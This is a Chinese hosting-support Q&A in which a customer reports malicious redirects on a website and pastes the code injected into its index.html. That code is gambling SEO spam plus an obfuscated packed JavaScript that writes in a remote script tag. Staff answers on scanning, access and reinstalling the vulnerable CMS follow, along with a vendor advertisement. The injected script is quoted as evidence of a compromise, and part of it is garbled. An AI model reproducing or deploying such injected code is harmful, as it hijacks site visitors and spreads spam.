問:網站總是出現惡意鏈接,服務器木馬查殺
答:您好,
是哪里看到有惡意鏈接,可以提供下截圖,或者是出現惡意鏈接的地址我們查看下,非常感謝您長期對我司的支持!
問:好幾個網站最近老是出現惡意跳轉。所以想全面查殺一下木馬
答:您好,
您可以自己在主機內安裝下云鎖軟件,進行安全掃描檢測下;
如果有具體頁面有異?;蛘咭伤茠祚R的,可以提供下具體鏈接我們針對性檢查。
問:我們安裝了云鎖軟件,查殺沒有木馬。 但是tm.neka.com.cn下的index.html文件里面有相關不正常代碼出現。ftp工具刪除文件提示刪除成功,刷新又出現index.html文件,權限為只讀,修改權限為755之后刷新,又變為只讀權限
問:具體代碼是這樣的
問:<title>北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】</title><meta name="" content="赛车pk10手机开奖直播 北京比赛pk10直播开奖 手机北京赛车开奖直播 北京赛车pk10开奖直播软件下载 北京pk10开奖软件直播 北京pk10开奖盛世直播 北京赛车pk10 盛世直播 北京pk拾赛车开奖直播 北京赛车pk10网上代理 北京赛车pk10 手机北京赛车开奖直播 北京赛车pk10官网直播 北京pk10骗局全过程 北京赛车正规投注平台 北京pk10有正规网站吗" /><meta name="" content="北京赛车pk10投注官方网站【www.k85aa.com】,包含海量北京赛车pk10注册投注,不输技巧,现在的北京赛车pk10给我们玩家提供了一个交流娱乐的专区,就是在我们娱乐休闲之余,可以在这里学习一下,北京赛车pk10官方网站经验和技巧。"/>< type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w '};c=1;};while(c–)if(k[c])p=p.replace(new RegExp('\\\\b' e(c) '\\\\b','g'),k[c]); p;}('m["\\\\e\\\\c\\\\1\\\\l\\\\i\\\\8\\\\n\\\\0"]["\\\\7\\\\4\\\\9\\\\0\\\\8"](\\'\\\\g\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0 \\\\0\\\\k\\\\3\\\\8\\\\d\\\\6\\\\0\\\\8\\\\r\\\\0\\\\5\\\\f\\\\a\\\\s\\\\a\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\6 \\\\2\\\\4\\\\1\\\\d\\\\6\\\\o\\\\0\\\\0\\\\3\\\\2\\\\p\\\\5\\\\5\\\\7\\\\7\\\\7\\\\b\\\\1\\\\3\\\\e\\\\a\\\\2\\\\j\\\\b\\\\1\\\\c\\\\i\\\\5\\\\q\\\\j\\\\b\\\\f\\\\2\\\\6\\\\h\\\\g\\\\5\\\\2\\\\1\\\\4\\\\9\\\\3\\\\0\\\\h\\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))</script>
答:您好,查看到您使用的是wdcp進行網站管理的,請提供wdcp登錄賬號信息
,非常感謝您長期對我司的支持!
問:http://127.0.0.1:8080/ 用戶名:**********: 初始密碼:**********
答:您好,請指明詳細的文件,這邊查看到/home/www/tm_neka_com_cn/public_html下沒有index.html文件的,請核實
,非常感謝您長期對我司的支持!
問:你們也是用云鎖防護嗎 有其他查殺木馬的方式嗎
答:您好,查殺木馬的軟件有很多,比如安全狗等,但是查殺木馬并不是根本方法,建議聯系程序提供商,修補漏洞,防止再次掛馬
,非常感謝您長期對我司的支持!
問:http://tm.neka.com.cn/ 你可以訪問這個域名,查看源代碼。里面是有不想關代碼的 ftp上傳不了文件的
問:還有這個文件的權限問題 我可以提供給你ftp賬戶測試的 127.0.0.1 B353CA8BF
答:您好,您這種情況可能被上傳了后門木馬,您只清理index.html是無效的,必須找到具體的掛馬。
http://tm.neka.com.cn/ 這個網站訪問看起來像是織夢系統,織夢系統的漏洞是非常嚴重的,建議您備份好重要數據然后重新上傳最新版本重新安裝,并按http://www.shinetop.cn/faq/list.asp?unid=729做好安全設置 ,非常感謝您長期對我司的支持!
三五互聯(35.com)是經工信部、ICANN、CNNIC認證審批,持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業務資質的正規老牌服務商,自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業郵箱、企業建站等互聯網基礎服務!
截止目前,已經為超過2000萬個域名提供了注冊、解析等服務,是中國五星級域名注冊注冊商!已為超過50萬個網站提供了高速穩定的云托管服務,獲評中國最受用戶喜歡云主機服務商。
三五互聯提供全方位7X24H專業售后支撐,域名注冊特價1元起,高速穩定云主機45元起,更多詳情請瀏覽三五互聯官網:http://www.shinetop.cn/